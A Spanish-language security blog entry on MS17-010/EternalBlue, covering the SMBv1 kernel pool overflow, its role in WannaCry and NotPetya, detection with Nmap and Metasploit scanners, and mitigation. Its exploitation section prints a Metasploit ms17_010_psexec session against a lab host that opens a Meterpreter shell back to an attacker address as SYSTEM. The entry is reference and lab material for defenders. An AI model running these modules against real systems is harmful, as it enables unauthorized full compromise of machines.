cd ~/blog

~/vulns/ms17-010-eternalblue-cve-2017-0143.md

MS17-010 EternalBlue (CVE-2017-0143)

rceautor: Jordy Pérez Osorio aviso legal
WindowsSMBRCEEternalBlueMS17-010

~3 min de lectura


1. Descripción técnica

MS17-010 es un boletín de Microsoft que corrige varias vulnerabilidades de SMBv1: CVE-2017-0143, CVE-2017-0144, CVE-2017-0145, CVE-2017-0146, CVE-2017-0147 y CVE-2017-0148. Cinco permiten Remote Code Execution y CVE-2017-0147 corresponde a Information Disclosure.

EternalBlue es el nombre del exploit filtrado que se asocia habitualmente con este boletín. Un resultado positivo de smb-vuln-ms17-010 confirma exposición al boletín, pero no identifica por sí solo cuál vulnerabilidad individual se activa ni prueba que un módulo concreto vaya a funcionar de forma estable.

El fallo central está en cómo srv.sys procesa paquetes SMBv1 Trans2 especialmente manipulados. Una conversión incorrecta entre estructuras de petición (de tipo FEA list "extendido" a "no extendido") provoca un desbordamiento de búfer en el pool del kernel (non-paged pool). Combinando este overflow con técnicas de heap grooming (a menudo apoyadas en el primitivo EternalRomance/DoublePulsar), el atacante consigue escribir en memoria del kernel y ejecutar código con privilegios de SYSTEM, sin autenticación.

Se explota contra el puerto SMB 445.

2. Impacto de la vulnerabilidad

  • RCE remoto, no autenticado y a nivel de kernel (SYSTEM): compromiso total del equipo.
  • Propagación masiva tipo gusano: fue el motor de WannaCry (mayo 2017) y NotPetya (junio 2017), dos de los ataques de ransomware/wiper más destructivos de la historia, con daños globales de miles de millones de dólares.
  • Al residir en el kernel, un fallo en la explotación puede provocar un BSOD (pantalla azul) en el objetivo.

3. Contexto

  • EternalBlue fue desarrollado originalmente como herramienta ofensiva por la NSA (equipo Equation Group).
  • 14 de abril de 2017: el grupo Shadow Brokers filtra el exploit públicamente.
  • 14 de marzo de 2017 (un mes antes de la filtración) Microsoft ya había publicado el parche MS17-010, pero millones de sistemas sin actualizar quedaron expuestos.
  • Mayo de 2017: WannaCry usa EternalBlue para propagarse mundialmente. Poco después, NotPetya repite el patrón.
  • Existen módulos de Metasploit (exploit/windows/smb/ms17_010_eternalblue y ms17_010_psexec) ampliamente usados.

4. Condiciones necesarias

  1. Sistema Windows sin el parche MS17-010 con SMBv1 habilitado (Windows XP/Vista/7/8.1, Server 2003/2008/2012, e incluso Windows 10 temprano).
  2. El puerto 445 accesible para el atacante.
  3. La presencia del protocolo legacy SMBv1, que debería estar deshabilitado.

5. Validación y detección

  • Script de Nmap dedicado:
nmap -p445 --script smb-vuln-ms17-010 target
  • Escaneo general de vulnerabilidades SMB:
nmap -p445 --script vuln target
  • Metasploit: el módulo auxiliar auxiliary/scanner/smb/smb_ms17_010 permite comprobar la vulnerabilidad antes de explotar.

6. Mitigación

  1. Aplicar el parche MS17-010 (solución definitiva).
  2. Deshabilitar SMBv1 por completo (recomendado por Microsoft incluso en sistemas parcheados).
  3. Bloquear el puerto 445 en el perímetro y segmentar la red interna.
  4. Retirar sistemas operativos sin soporte y mantener una política de parcheo ágil.

7. Explotación documentada

En 06-experience, el scanner confirma MS17-010 sobre Windows XP y se utiliza el módulo psexec del boletín. 24-eternal usa el módulo ms17_010_eternalblue contra Windows 7 SP1, mientras que 114-zero valida la exposición sobre Windows Server 2016 antes de explotar. Las salidas confirman el boletín y el contexto SYSTEM, pero no permiten asignar cada host a un CVE individual.

msf6 > use exploit/windows/smb/ms17_010_psexec
msf6 exploit(windows/smb/ms17_010_psexec) > set RHOSTS 192.168.1.139
msf6 exploit(windows/smb/ms17_010_psexec) > set LHOST 192.168.1.5
msf6 exploit(windows/smb/ms17_010_psexec) > run
[*] 192.168.1.139:445 - Target OS selected valid for OS indicated by SMB reply
[*] Sending stage to 192.168.1.139
[*] Meterpreter session 1 opened

meterpreter > getuid
Server username: NT AUTHORITY\SYSTEM

8. Clasificación

  • Tipo: Buffer Overflow (kernel pool) → Remote Code Execution
  • Boletín: MS17-010
  • CVE de RCE: CVE-2017-0143, CVE-2017-0144, CVE-2017-0145, CVE-2017-0146 y CVE-2017-0148
  • CVE de Information Disclosure: CVE-2017-0147
  • CWE:
    • CWE-119: Improper Restriction of Operations within the Bounds of a Memory Buffer

9. Referencias y conexiones

// relacionados